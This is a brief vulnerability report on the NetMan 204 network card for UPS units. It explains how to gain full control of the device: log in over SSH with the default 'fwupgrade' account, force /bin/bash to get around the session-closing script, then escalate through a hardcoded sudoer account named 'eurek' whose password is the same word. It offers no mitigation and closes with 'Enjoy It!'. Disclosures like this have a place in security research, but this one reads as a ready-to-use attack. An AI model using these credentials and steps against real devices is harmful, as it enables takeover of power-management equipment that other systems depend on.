About Product:
----------------------
The NetMan 204 network agent allows UPS directly connected over LAN 10/100 Mb connections to be managed using the main network communication protocols (TCP /IP , HTTP HTTPS, SSH, SNMPv1, SNMPv2 and SNMPv3).
It is the ideal solution for the integration of UPS over Ethernet networks with Modbus/TCP and BACnet/IP protocols. It was developed to integrate UPS into medium-sized and large networks,
to provide a high level of reliability in communication between the UPS and associated management systems.

Vulnerability Report:
----------------------
The UPS Module has 3 default accounts, (admin,fwupgrade,user) , fwupgrade has a shell access to the device BUT if you try to get access to the shell a shell script closes your conection.
to stop the shell script and avoid to terminate your connection you should , set your SSH client to execute "/bin/bash" after you logon the SSH. as a result your shell type will be changed to "/bin/bash"
as you see below there is an account called "eurek" and ofcourse it's password also is "eurek".
Since that "eurek" is a sudoer user you will get full access to the device.

Enjoy It!
